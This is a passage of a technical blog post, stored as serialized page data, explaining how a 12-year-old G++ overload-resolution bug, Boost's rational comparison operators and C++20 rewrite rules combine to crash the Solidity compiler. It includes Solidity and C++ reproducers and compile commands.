it.","kiprey",{"src":91353,"height":13,"width":13},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[6486,30950],{"type":19,"children":91357,"toc":94049},[91358,91363,91500,91505,91510,91515,91520,91633,91638,91643,91648,91688,91701,91706,91724,91729,91732,91738,91752,91765,91770,91783,91788,91800,91813,91818,91821,91827,91833,91890,91895,91901,91915,91950,91958,91966,91986,91992,91997,92437,92445,92489,92494,92502,92510,92549,92554,92562,92567,92570,92576,92582,92607,92619,92646,92679,92684,92687,92693,92712,93230,93243,93261,93284,93295,93300,93403,93408,93413,93427,93432,93508,93526,93531,93534,93540,93552,93564,93904,93909,93927,93932,93935,93941,93946,93964,93984,93987,93993,94012,94015,94019,94024,94035,94040,94045],{"type":22,"tag":31,"props":91359,"children":91360},{},[91361],{"type":28,"value":91362},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":22,"tag":107,"props":91364,"children":91366},{"code":91365,"language":6486,"meta":7,"className":6487,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[91367],{"type":22,"tag":114,"props":91368,"children":91369},{"__ignoreMap":7},[91370,91378,91396,91403,91420,91462,91486,91493],{"type":22,"tag":118,"props":91371,"children":91372},{"class":120,"line":121},[91373],{"type":22,"tag":118,"props":91374,"children":91375},{"style":257},[91376],{"type":28,"value":91377},"// SPDX-License-Identifier: UNLICENSED\n",{"type":22,"tag":118,"props":91379,"children":91380},{"class":120,"line":142},[91381,91386,91391],{"type":22,"tag":118,"props":91382,"children":91383},{"style":1480},[91384],{"type":28,"value":91385},"pragma",{"type":22,"tag":118,"props":91387,"children":91388},{"style":146},[91389],{"type":28,"value":91390}," solidity",{"type":22,"tag":118,"props":91392,"children":91393},{"style":125},[91394],{"type":28,"value":91395}," ^0.8.25;\n",{"type":22,"tag":118,"props":91397,"children":91398},{"class":120,"line":177},[91399],{"type":22,"tag":118,"props":91400,"children":91401},{"emptyLinePlaceholder":15},[91402],{"type":28,"value":250},{"type":22,"tag":118,"props":91404,"children":91405},{"class":120,"line":195},[91406,91411,91416],{"type":22,"tag":118,"props":91407,"children":91408},{"style":146},[91409],{"type":28,"value":91410},"contract",{"type":22,"tag":118,"props":91412,"children":91413},{"style":131},[91414],{"type":28,"value":91415}," A",{"type":22,"tag":118,"props":91417,"children":91418},{"style":125},[91419],{"type":28,"value":1474},{"type":22,"tag":118,"props":91421,"children":91422},{"class":120,"line":244},[91423,91428,91433,91437,91441,91446,91450,91454,91458],{"type":22,"tag":118,"props":91424,"children":91425},{"style":146},[91426],{"type":28,"value":91427},"    function",{"type":22,"tag":118,"props":91429,"children":91430},{"style":532},[91431],{"type":28,"value":91432}," a",{"type":22,"tag":118,"props":91434,"children":91435},{"style":125},[91436],{"type":28,"value":2182},{"type":22,"tag":118,"props":91438,"children":91439},{"style":146},[91440],{"type":28,"value":63616},{"type":22,"tag":118,"props":91442,"children":91443},{"style":146},[91444],{"type":28,"value":91445}," pure",{"type":22,"tag":118,"props":91447,"children":91448},{"style":1480},[91449],{"type":28,"value":77589},{"type":22,"tag":118,"props":91451,"children":91452},{"style":125},[91453],{"type":28,"value":842},{"type":22,"tag":118,"props":91455,"children":91456},{"style":131},[91457],{"type":28,"value":48108},{"type":22,"tag":118,"props":91459,"children":91460},{"style":125},[91461],{"type":28,"value":16783},{"type":22,"tag":118,"props":91463,"children":91464},{"class":120,"line":253},[91465,91469,91473,91478,91482],{"type":22,"tag":118,"props":91466,"children":91467},{"style":1480},[91468],{"type":28,"value":2223},{"type":22,"tag":118,"props":91470,"children":91471},{"style":674},[91472],{"type":28,"value":6535},{"type":22,"tag":118,"props":91474,"children":91475},{"style":210},[91476],{"type":28,"value":91477}," **",{"type":22,"tag":118,"props":91479,"children":91480},{"style":674},[91481],{"type":28,"value":677},{"type":22,"tag":118,"props":91483,"children":91484},{"style":125},[91485],{"type":28,"value":801},{"type":22,"tag":118,"props":91487,"children":91488},{"class":120,"line":263},[91489],{"type":22,"tag":118,"props":91490,"children":91491},{"style":125},[91492],{"type":28,"value":1254},{"type":22,"tag":118,"props":91494,"children":91495},{"class":120,"line":318},[91496],{"type":22,"tag":118,"props":91497,"children":91498},{"style":125},[91499],{"type":28,"value":481},{"type":22,"tag":31,"props":91501,"children":91502},{},[91503],{"type":28,"value":91504},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":22,"tag":31,"props":91506,"children":91507},{},[91508],{"type":28,"value":91509},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":22,"tag":31,"props":91511,"children":91512},{},[91513],{"type":28,"value":91514},"And yet, it crashes.",{"type":22,"tag":31,"props":91516,"children":91517},{},[91518],{"type":28,"value":91519},"Another minimal example?",{"type":22,"tag":107,"props":91521,"children":91523},{"code":91522,"language":6486,"meta":7,"className":6487,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[91524],{"type":22,"tag":114,"props":91525,"children":91526},{"__ignoreMap":7},[91527,91534,91549,91556,91571,91598,91619,91626],{"type":22,"tag":118,"props":91528,"children":91529},{"class":120,"line":121},[91530],{"type":22,"tag":118,"props":91531,"children":91532},{"style":257},[91533],{"type":28,"value":91377},{"type":22,"tag":118,"props":91535,"children":91536},{"class":120,"line":142},[91537,91541,91545],{"type":22,"tag":118,"props":91538,"children":91539},{"style":1480},[91540],{"type":28,"value":91385},{"type":22,"tag":118,"props":91542,"children":91543},{"style":146},[91544],{"type":28,"value":91390},{"type":22,"tag":118,"props":91546,"children":91547},{"style":125},[91548],{"type":28,"value":91395},{"type":22,"tag":118,"props":91550,"children":91551},{"class":120,"line":177},[91552],{"type":22,"tag":118,"props":91553,"children":91554},{"emptyLinePlaceholder":15},[91555],{"type":28,"value":250},{"type":22,"tag":118,"props":91557,"children":91558},{"class":120,"line":195},[91559,91563,91567],{"type":22,"tag":118,"props":91560,"children":91561},{"style":146},[91562],{"type":28,"value":91410},{"type":22,"tag":118,"props":91564,"children":91565},{"style":131},[91566],{"type":28,"value":91415},{"type":22,"tag":118,"props":91568,"children":91569},{"style":125},[91570],{"type":28,"value":1474},{"type":22,"tag":118,"props":91572,"children":91573},{"class":120,"line":244},[91574,91578,91582,91586,91590,91594],{"type":22,"tag":118,"props":91575,"children":91576},{"style":146},[91577],{"type":28,"value":91427},{"type":22,"tag":118,"props":91579,"children":91580},{"style":532},[91581],{"type":28,"value":91432},{"type":22,"tag":118,"props":91583,"children":91584},{"style":125},[91585],{"type":28,"value":2182},{"type":22,"tag":118,"props":91587,"children":91588},{"style":146},[91589],{"type":28,"value":63616},{"type":22,"tag":118,"props":91591,"children":91592},{"style":146},[91593],{"type":28,"value":91445},{"type":22,"tag":118,"props":91595,"children":91596},{"style":125},[91597],{"type":28,"value":1474},{"type":22,"tag":118,"props":91599,"children":91600},{"class":120,"line":253},[91601,91606,91610,91614],{"type":22,"tag":118,"props":91602,"children":91603},{"style":131},[91604],{"type":28,"value":91605},"        uint256",{"type":22,"tag":118,"props":91607,"children":91608},{"style":125},[91609],{"type":28,"value":5746},{"type":22,"tag":118,"props":91611,"children":91612},{"style":674},[91613],{"type":28,"value":6026},{"type":22,"tag":118,"props":91615,"children":91616},{"style":125},[91617],{"type":28,"value":91618},"] data;\n",{"type":22,"tag":118,"props":91620,"children":91621},{"class":120,"line":263},[91622],{"type":22,"tag":118,"props":91623,"children":91624},{"style":125},[91625],{"type":28,"value":1254},{"type":22,"tag":118,"props":91627,"children":91628},{"class":120,"line":318},[91629],{"type":22,"tag":118,"props":91630,"children":91631},{"style":125},[91632],{"type":28,"value":481},{"type":22,"tag":31,"props":91634,"children":91635},{},[91636],{"type":28,"value":91637},"Still crashes.",{"type":22,"tag":31,"props":91639,"children":91640},{},[91641],{"type":28,"value":91642},"So what’s going on?",{"type":22,"tag":31,"props":91644,"children":91645},{},[91646],{"type":28,"value":91647},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":22,"tag":107,"props":91649,"children":91651},{"code":91650,"language":31050,"meta":7,"className":31048,"style":7},"if (*lengthValue == 0) { ... }\n",[91652],{"type":22,"tag":114,"props":91653,"children":91654},{"__ignoreMap":7},[91655],{"type":22,"tag":118,"props":91656,"children":91657},{"class":120,"line":121},[91658,91662,91666,91670,91675,91679,91683],{"type":22,"tag":118,"props":91659,"children":91660},{"style":1480},[91661],{"type":28,"value":17553},{"type":22,"tag":118,"props":91663,"children":91664},{"style":125},[91665],{"type":28,"value":842},{"type":22,"tag":118,"props":91667,"children":91668},{"style":210},[91669],{"type":28,"value":671},{"type":22,"tag":118,"props":91671,"children":91672},{"style":125},[91673],{"type":28,"value":91674},"lengthValue ",{"type":22,"tag":118,"props":91676,"children":91677},{"style":210},[91678],{"type":28,"value":302},{"type":22,"tag":118,"props":91680,"children":91681},{"style":674},[91682],{"type":28,"value":5074},{"type":22,"tag":118,"props":91684,"children":91685},{"style":125},[91686],{"type":28,"value":91687},") { ... }\n",{"type":22,"tag":31,"props":91689,"children":91690},{},[91691,91693,91699],{"type":28,"value":91692},"That single comparison — a ",{"type":22,"tag":114,"props":91694,"children":91696},{"className":91695},[],[91697],{"type":28,"value":91698},"boost::rational",{"type":28,"value":91700}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":22,"tag":31,"props":91702,"children":91703},{},[91704],{"type":28,"value":91705},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":22,"tag":64,"props":91707,"children":91708},{},[91709,91714,91719],{"type":22,"tag":68,"props":91710,"children":91711},{},[91712],{"type":28,"value":91713},"A 12-year-old overload resolution bug in G++",{"type":22,"tag":68,"props":91715,"children":91716},{},[91717],{"type":28,"value":91718},"An outdated symmetric comparison pattern in Boost",{"type":22,"tag":68,"props":91720,"children":91721},{},[91722],{"type":28,"value":91723},"A subtle but impactful rewrite rule in C++20",{"type":22,"tag":31,"props":91725,"children":91726},{},[91727],{"type":28,"value":91728},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":22,"tag":20760,"props":91730,"children":91731},{},[],{"type":22,"tag":23,"props":91733,"children":91735},{"id":91734},"background-the-setup",[91736],{"type":28,"value":91737},"Background: The Setup",{"type":22,"tag":31,"props":91739,"children":91740},{},[91741,91743,91750],{"type":28,"value":91742},"If you follow the ",{"type":22,"tag":42,"props":91744,"children":91747},{"href":91745,"rel":91746},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[46],[91748],{"type":28,"value":91749},"Solidity build documentation (v0.8.30)",{"type":28,"value":91751},", you'll see it recommends:",{"type":22,"tag":64,"props":91753,"children":91754},{},[91755,91760],{"type":22,"tag":68,"props":91756,"children":91757},{},[91758],{"type":28,"value":91759},"Boost ≥ 1.67",{"type":22,"tag":68,"props":91761,"children":91762},{},[91763],{"type":28,"value":91764},"GCC ≥ 11",{"type":22,"tag":31,"props":91766,"children":91767},{},[91768],{"type":28,"value":91769},"Ubuntu 22.04, for example, ships with:",{"type":22,"tag":64,"props":91771,"children":91772},{},[91773,91778],{"type":22,"tag":68,"props":91774,"children":91775},{},[91776],{"type":28,"value":91777},"G++ 11.4.0",{"type":22,"tag":68,"props":91779,"children":91780},{},[91781],{"type":28,"value":91782},"Boost 1.74.0",{"type":22,"tag":31,"props":91784,"children":91785},{},[91786],{"type":28,"value":91787},"So far, so good.",{"type":22,"tag":31,"props":91789,"children":91790},{},[91791,91793,91798],{"type":28,"value":91792},"However, Solidity enabled ",{"type":22,"tag":74,"props":91794,"children":91795},{},[91796],{"type":28,"value":91797},"C++20",{"type":28,"value":91799}," in January 2025:",{"type":22,"tag":1269,"props":91801,"children":91802},{},[91803],{"type":22,"tag":31,"props":91804,"children":91805},{},[91806],{"type":22,"tag":42,"props":91807,"children":91810},{"href":91808,"rel":91809},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[46],[91811],{"type":28,"value":91812},"Enable C++20 in Solidity",{"type":22,"tag":31,"props":91814,"children":91815},{},[91816],{"type":28,"value":91817},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":22,"tag":20760,"props":91819,"children":91820},{},[],{"type":22,"tag":23,"props":91822,"children":91824},{"id":91823},"part-i-a-12-year-old-g-bug-in-overload-resolution",[91825],{"type":28,"value":91826},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":22,"tag":1289,"props":91828,"children":91830},{"id":91829},"whats-overload-resolution",[91831],{"type":28,"value":91832},"What’s Overload Resolution?",{"type":22,"tag":31,"props":91834,"children":91835},{},[91836,91838,91844,91846,91852,91854,91859,91861,91866,91868,91874,91876,91881,91882,91888],{"type":28,"value":91837},"In C++, when you write an expression like ",{"type":22,"tag":114,"props":91839,"children":91841},{"className":91840},[],[91842],{"type":28,"value":91843},"a == b",{"type":28,"value":91845},", the compiler chooses among available ",{"type":22,"tag":114,"props":91847,"children":91849},{"className":91848},[],[91850],{"type":28,"value":91851},"operator==",{"type":28,"value":91853}," implementations by comparing their ",{"type":22,"tag":74,"props":91855,"children":91856},{},[91857],{"type":28,"value":91858},"match quality",{"type":28,"value":91860},". A ",{"type":22,"tag":74,"props":91862,"children":91863},{},[91864],{"type":28,"value":91865},"member function",{"type":28,"value":91867}," like ",{"type":22,"tag":114,"props":91869,"children":91871},{"className":91870},[],[91872],{"type":28,"value":91873},"a.operator==(b)",{"type":28,"value":91875}," usually has higher priority than a ",{"type":22,"tag":74,"props":91877,"children":91878},{},[91879],{"type":28,"value":91880},"non-member function",{"type":28,"value":91867},{"type":22,"tag":114,"props":91883,"children":91885},{"className":91884},[],[91886],{"type":28,"value":91887},"operator==(a, b)",{"type":28,"value":91889}," — unless the types differ too much or are ambiguous.",{"type":22,"tag":31,"props":91891,"children":91892},{},[91893],{"type":28,"value":91894},"That’s the rule. But G++ didn’t always follow it.",{"type":22,"tag":1289,"props":91896,"children":91898},{"id":91897},"the-bug",[91899],{"type":28,"value":91900},"The Bug",{"type":22,"tag":31,"props":91902,"children":91903},{},[91904,91906,91913],{"type":28,"value":91905},"In 2012, a bug was filed: ",{"type":22,"tag":42,"props":91907,"children":91910},{"href":91908,"rel":91909},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[46],[91911],{"type":28,"value":91912},"GCC Bug 53499 – overload resolution favors non-member function",{"type":28,"value":91914},". The issue? In expressions where:",{"type":22,"tag":64,"props":91916,"children":91917},{},[91918,91938],{"type":22,"tag":68,"props":91919,"children":91920},{},[91921,91923,91929,91931,91936],{"type":28,"value":91922},"A class ",{"type":22,"tag":114,"props":91924,"children":91926},{"className":91925},[],[91927],{"type":28,"value":91928},"rational\u003CT>",{"type":28,"value":91930}," has a templated ",{"type":22,"tag":114,"props":91932,"children":91934},{"className":91933},[],[91935],{"type":28,"value":91851},{"type":28,"value":91937}," member function",{"type":22,"tag":68,"props":91939,"children":91940},{},[91941,91943,91949],{"type":28,"value":91942},"There's also a more generic free ",{"type":22,"tag":114,"props":91944,"children":91946},{"className":91945},[],[91947],{"type":28,"value":91948},"operator==(rational\u003CT>, U)",{"type":28,"value":40155},{"type":22,"tag":31,"props":91951,"children":91952},{},[91953],{"type":22,"tag":74,"props":91954,"children":91955},{},[91956],{"type":28,"value":91957},"Clang correctly chooses the member function.",{"type":22,"tag":31,"props":91959,"children":91960},{},[91961],{"type":22,"tag":74,"props":91962,"children":91963},{},[91964],{"type":28,"value":91965},"G++ (before v14) chooses the non-member function.",{"type":22,"tag":31,"props":91967,"children":91968},{},[91969,91971,91976,91978,91985],{"type":28,"value":91970},"Why? Because G++ mishandles ",{"type":22,"tag":74,"props":91972,"children":91973},{},[91974],{"type":28,"value":91975},"templated conversion + non-exact match",{"type":28,"value":91977},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":22,"tag":42,"props":91979,"children":91982},{"href":91980,"rel":91981},"https://cplusplus.github.io/CWG/issues/532.html",[46],[91983],{"type":28,"value":91984},"CWG532: Member/nonmember operator template partial ordering",{"type":28,"value":292},{"type":22,"tag":1289,"props":91987,"children":91989},{"id":91988},"a-minimal-reproducer",[91990],{"type":28,"value":91991},"A Minimal Reproducer",{"type":22,"tag":31,"props":91993,"children":91994},{},[91995],{"type":28,"value":91996},"Let’s see this in action:",{"type":22,"tag":107,"props":91998,"children":92000},{"code":91999,"language":31050,"meta":7,"className":31048,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[92001],{"type":22,"tag":114,"props":92002,"children":92003},{"__ignoreMap":7},[92004,92017,92024,92049,92065,92073,92097,92142,92170,92185,92192,92199,92206,92242,92311,92336,92351,92358,92365,92381,92406,92430],{"type":22,"tag":118,"props":92005,"children":92006},{"class":120,"line":121},[92007,92012],{"type":22,"tag":118,"props":92008,"children":92009},{"style":1480},[92010],{"type":28,"value":92011},"#include",{"type":22,"tag":118,"props":92013,"children":92014},{"style":1866},[92015],{"type":28,"value":92016}," \u003Ciostream>\n",{"type":22,"tag":118,"props":92018,"children":92019},{"class":120,"line":142},[92020],{"type":22,"tag":118,"props":92021,"children":92022},{"emptyLinePlaceholder":15},[92023],{"type":28,"value":250},{"type":22,"tag":118,"props":92025,"children":92026},{"class":120,"line":177},[92027,92031,92035,92040,92045],{"type":22,"tag":118,"props":92028,"children":92029},{"style":146},[92030],{"type":28,"value":68157},{"type":22,"tag":118,"props":92032,"children":92033},{"style":125},[92034],{"type":28,"value":2197},{"type":22,"tag":118,"props":92036,"children":92037},{"style":146},[92038],{"type":28,"value":92039},"typename",{"type":22,"tag":118,"props":92041,"children":92042},{"style":131},[92043],{"type":28,"value":92044}," IntType",{"type":22,"tag":118,"props":92046,"children":92047},{"style":125},[92048],{"type":28,"value":8002},{"type":22,"tag":118,"props":92050,"children":92051},{"class":120,"line":195},[92052,92056,92061],{"type":22,"tag":118,"props":92053,"children":92054},{"style":146},[92055],{"type":28,"value":72349},{"type":22,"tag":118,"props":92057,"children":92058},{"style":131},[92059],{"type":28,"value":92060}," rational",{"type":22,"tag":118,"props":92062,"children":92063},{"style":125},[92064],{"type":28,"value":1474},{"type":22,"tag":118,"props":92066,"children":92067},{"class":120,"line":244},[92068],{"type":22,"tag":118,"props":92069,"children":92070},{"style":146},[92071],{"type":28,"value":92072},"public:\n",{"type":22,"tag":118,"props":92074,"children":92075},{"class":120,"line":253},[92076,92081,92085,92089,92093],{"type":22,"tag":118,"props":92077,"children":92078},{"style":146},[92079],{"type":28,"value":92080},"    template",{"type":22,"tag":118,"props":92082,"children":92083},{"style":125},[92084],{"type":28,"value":2197},{"type":22,"tag":118,"props":92086,"children":92087},{"style":146},[92088],{"type":28,"value":72349},{"type":22,"tag":118,"props":92090,"children":92091},{"style":131},[92092],{"type":28,"value":7928},{"type":22,"tag":118,"props":92094,"children":92095},{"style":125},[92096],{"type":28,"value":8002},{"type":22,"tag":118,"props":92098,"children":92099},{"class":120,"line":263},[92100,92104,92109,92114,92118,92122,92126,92130,92134,92138],{"type":22,"tag":118,"props":92101,"children":92102},{"style":146},[92103],{"type":28,"value":48413},{"type":22,"tag":118,"props":92105,"children":92106},{"style":146},[92107],{"type":28,"value":92108}," operator",{"type":22,"tag":118,"props":92110,"children":92111},{"style":125},[92112],{"type":28,"value":92113},"==(",{"type":22,"tag":118,"props":92115,"children":92116},{"style":146},[92117],{"type":28,"value":11653},{"type":22,"tag":118,"props":92119,"children":92120},{"style":131},[92121],{"type":28,"value":7928},{"type":22,"tag":118,"props":92123,"children":92124},{"style":146},[92125],{"type":28,"value":1407},{"type":22,"tag":118,"props":92127,"children":92128},{"style":204},[92129],{"type":28,"value":5416},{"type":22,"tag":118,"props":92131,"children":92132},{"style":125},[92133],{"type":28,"value":588},{"type":22,"tag":118,"props":92135,"children":92136},{"style":146},[92137],{"type":28,"value":11653},{"type":22,"tag":118,"props":92139,"children":92140},{"style":125},[92141],{"type":28,"value":1474},{"type":22,"tag":118,"props":92143,"children":92144},{"class":120,"line":318},[92145,92150,92155,92160,92165],{"type":22,"tag":118,"props":92146,"children":92147},{"style":125},[92148],{"type":28,"value":92149},"        std::cout ",{"type":22,"tag":118,"props":92151,"children":92152},{"style":210},[92153],{"type":28,"value":92154},"\u003C\u003C",{"type":22,"tag":118,"props":92156,"children":92157},{"style":1866},[92158],{"type":28,"value":92159}," \"clang++ resolved member\"",{"type":22,"tag":118,"props":92161,"children":92162},{"style":210},[92163],{"type":28,"value":92164}," \u003C\u003C",{"type":22,"tag":118,"props":92166,"children":92167},{"style":125},[92168],{"type":28,"value":92169}," std::endl;\n",{"type":22,"tag":118,"props":92171,"children":92172},{"class":120,"line":351},[92173,92177,92181],{"type":22,"tag":118,"props":92174,"children":92175},{"style":1480},[92176],{"type":28,"value":2223},{"type":22,"tag":118,"props":92178,"children":92179},{"style":146},[92180],{"type":28,"value":1537},{"type":22,"tag":118,"props":92182,"children":92183},{"style":125},[92184],{"type":28,"value":801},{"type":22,"tag":118,"props":92186,"children":92187},{"class":120,"line":359},[92188],{"type":22,"tag":118,"props":92189,"children":92190},{"style":125},[92191],{"type":28,"value":1254},{"type":22,"tag":118,"props":92193,"children":92194},{"class":120,"line":368},[92195],{"type":22,"tag":118,"props":92196,"children":92197},{"style":125},[92198],{"type":28,"value":4277},{"type":22,"tag":118,"props":92200,"children":92201},{"class":120,"line":384},[92202],{"type":22,"tag":118,"props":92203,"children":92204},{"emptyLinePlaceholder":15},[92205],{"type":28,"value":250},{"type":22,"tag":118,"props":92207,"children":92208},{"class":120,"line":417},[92209,92213,92217,92221,92226,92230,92234,92238],{"type":22,"tag":118,"props":92210,"children":92211},{"style":146},[92212],{"type":28,"value":68157},{"type":22,"tag":118,"props":92214,"children":92215},{"style":125},[92216],{"type":28,"value":2197},{"type":22,"tag":118,"props":92218,"children":92219},{"style":146},[92220],{"type":28,"value":72349},{"type":22,"tag":118,"props":92222,"children":92223},{"style":131},[92224],{"type":28,"value":92225}," Arg",{"type":22,"tag":118,"props":92227,"children":92228},{"style":125},[92229],{"type":28,"value":231},{"type":22,"tag":118,"props":92231,"children":92232},{"style":146},[92233],{"type":28,"value":72349},{"type":22,"tag":118,"props":92235,"children":92236},{"style":131},[92237],{"type":28,"value":92044},{"type":22,"tag":118,"props":92239,"children":92240},{"style":125},[92241],{"type":28,"value":8002},{"type":22,"tag":118,"props":92243,"children":92244},{"class":120,"line":425},[92245,92249,92253,92257,92261,92265,92269,92274,92278,92282,92286,92290,92294,92298,92302,92307],{"type":22,"tag":118,"props":92246,"children":92247},{"style":146},[92248],{"type":28,"value":3065},{"type":22,"tag":118,"props":92250,"children":92251},{"style":146},[92252],{"type":28,"value":92108},{"type":22,"tag":118,"props":92254,"children":92255},{"style":125},[92256],{"type":28,"value":92113},{"type":22,"tag":118,"props":92258,"children":92259},{"style":146},[92260],{"type":28,"value":11653},{"type":22,"tag":118,"props":92262,"children":92263},{"style":131},[92264],{"type":28,"value":92060},{"type":22,"tag":118,"props":92266,"children":92267},{"style":125},[92268],{"type":28,"value":559},{"type":22,"tag":118,"props":92270,"children":92271},{"style":131},[92272],{"type":28,"value":92273},"IntType",{"type":22,"tag":118,"props":92275,"children":92276},{"style":125},[92277],{"type":28,"value":12460},{"type":22,"tag":118,"props":92279,"children":92280},{"style":146},[92281],{"type":28,"value":1407},{"type":22,"tag":118,"props":92283,"children":92284},{"style":204},[92285],{"type":28,"value":91432},{"type":22,"tag":118,"props":92287,"children":92288},{"style":125},[92289],{"type":28,"value":231},{"type":22,"tag":118,"props":92291,"children":92292},{"style":146},[92293],{"type":28,"value":11653},{"type":22,"tag":118,"props":92295,"children":92296},{"style":131},[92297],{"type":28,"value":92225},{"type":22,"tag":118,"props":92299,"children":92300},{"style":146},[92301],{"type":28,"value":1407},{"type":22,"tag":118,"props":92303,"children":92304},{"style":204},[92305],{"type":28,"value":92306}," b",{"type":22,"tag":118,"props":92308,"children":92309},{"style":125},[92310],{"type":28,"value":16783},{"type":22,"tag":118,"props":92312,"children":92313},{"class":120,"line":441},[92314,92319,92323,92328,92332],{"type":22,"tag":118,"props":92315,"children":92316},{"style":125},[92317],{"type":28,"value":92318},"    std::cout ",{"type":22,"tag":118,"props":92320,"children":92321},{"style":210},[92322],{"type":28,"value":92154},{"type":22,"tag":118,"props":92324,"children":92325},{"style":1866},[92326],{"type":28,"value":92327}," \"g++ \u003C14 resolved non-member\"",{"type":22,"tag":118,"props":92329,"children":92330},{"style":210},[92331],{"type":28,"value":92164},{"type":22,"tag":118,"props":92333,"children":92334},{"style":125},[92335],{"type":28,"value":92169},{"type":22,"tag":118,"props":92337,"children":92338},{"class":120,"line":475},[92339,92343,92347],{"type":22,"tag":118,"props":92340,"children":92341},{"style":1480},[92342],{"type":28,"value":18954},{"type":22,"tag":118,"props":92344,"children":92345},{"style":146},[92346],{"type":28,"value":1678},{"type":22,"tag":118,"props":92348,"children":92349},{"style":125},[92350],{"type":28,"value":801},{"type":22,"tag":118,"props":92352,"children":92353},{"class":120,"line":484},[92354],{"type":22,"tag":118,"props":92355,"children":92356},{"style":125},[92357],{"type":28,"value":481},{"type":22,"tag":118,"props":92359,"children":92360},{"class":120,"line":492},[92361],{"type":22,"tag":118,"props":92362,"children":92363},{"emptyLinePlaceholder":15},[92364],{"type":28,"value":250},{"type":22,"tag":118,"props":92366,"children":92367},{"class":120,"line":501},[92368,92372,92377],{"type":22,"tag":118,"props":92369,"children":92370},{"style":146},[92371],{"type":28,"value":21014},{"type":22,"tag":118,"props":92373,"children":92374},{"style":532},[92375],{"type":28,"value":92376}," main",{"type":22,"tag":118,"props":92378,"children":92379},{"style":125},[92380],{"type":28,"value":2215},{"type":22,"tag":118,"props":92382,"children":92383},{"class":120,"line":519},[92384,92389,92393,92397,92401],{"type":22,"tag":118,"props":92385,"children":92386},{"style":125},[92387],{"type":28,"value":92388},"    rational",{"type":22,"tag":118,"props":92390,"children":92391},{"style":210},[92392],{"type":28,"value":559},{"type":22,"tag":118,"props":92394,"children":92395},{"style":146},[92396],{"type":28,"value":21014},{"type":22,"tag":118,"props":92398,"children":92399},{"style":210},[92400],{"type":28,"value":12460},{"type":22,"tag":118,"props":92402,"children":92403},{"style":125},[92404],{"type":28,"value":92405}," r;\n",{"type":22,"tag":118,"props":92407,"children":92408},{"class":120,"line":606},[92409,92413,92418,92422,92426],{"type":22,"tag":118,"props":92410,"children":92411},{"style":1480},[92412],{"type":28,"value":18954},{"type":22,"tag":118,"props":92414,"children":92415},{"style":125},[92416],{"type":28,"value":92417}," r ",{"type":22,"tag":118,"props":92419,"children":92420},{"style":210},[92421],{"type":28,"value":302},{"type":22,"tag":118,"props":92423,"children":92424},{"style":674},[92425],{"type":28,"value":5074},{"type":22,"tag":118,"props":92427,"children":92428},{"style":125},[92429],{"type":28,"value":801},{"type":22,"tag":118,"props":92431,"children":92432},{"class":120,"line":615},[92433],{"type":22,"tag":118,"props":92434,"children":92435},{"style":125},[92436],{"type":28,"value":481},{"type":22,"tag":64,"props":92438,"children":92439},{},[92440],{"type":22,"tag":68,"props":92441,"children":92442},{},[92443],{"type":28,"value":92444},"Compile with g++\u003C14:",{"type":22,"tag":107,"props":92446,"children":92448},{"code":92447,"language":1852,"meta":7,"className":1850,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[92449],{"type":22,"tag":114,"props":92450,"children":92451},{"__ignoreMap":7},[92452],{"type":22,"tag":118,"props":92453,"children":92454},{"class":120,"line":121},[92455,92460,92465,92470,92475,92479,92484],{"type":22,"tag":118,"props":92456,"children":92457},{"style":532},[92458],{"type":28,"value":92459},"g++",{"type":22,"tag":118,"props":92461,"children":92462},{"style":1866},[92463],{"type":28,"value":92464}," -std=c++17",{"type":22,"tag":118,"props":92466,"children":92467},{"style":1866},[92468],{"type":28,"value":92469}," main.cpp",{"type":22,"tag":118,"props":92471,"children":92472},{"style":1866},[92473],{"type":28,"value":92474}," -o",{"type":22,"tag":118,"props":92476,"children":92477},{"style":1866},[92478],{"type":28,"value":32616},{"type":22,"tag":118,"props":92480,"children":92481},{"style":125},[92482],{"type":28,"value":92483}," && ",{"type":22,"tag":118,"props":92485,"children":92486},{"style":532},[92487],{"type":28,"value":92488},"./test\n",{"type":22,"tag":31,"props":92490,"children":92491},{},[92492],{"type":28,"value":92493},"Output (on g++ 11.4):",{"type":22,"tag":107,"props":92495,"children":92497},{"code":92496},"g++ \u003C14 resolved non-member\n",[92498],{"type":22,"tag":114,"props":92499,"children":92500},{"__ignoreMap":7},[92501],{"type":28,"value":92496},{"type":22,"tag":64,"props":92503,"children":92504},{},[92505],{"type":22,"tag":68,"props":92506,"children":92507},{},[92508],{"type":28,"value":92509},"Compile with clang++:",{"type":22,"tag":107,"props":92511,"children":92513},{"code":92512,"language":1852,"meta":7,"className":1850,"style":7},"clang++ -std=c++17 main.cpp -o test && 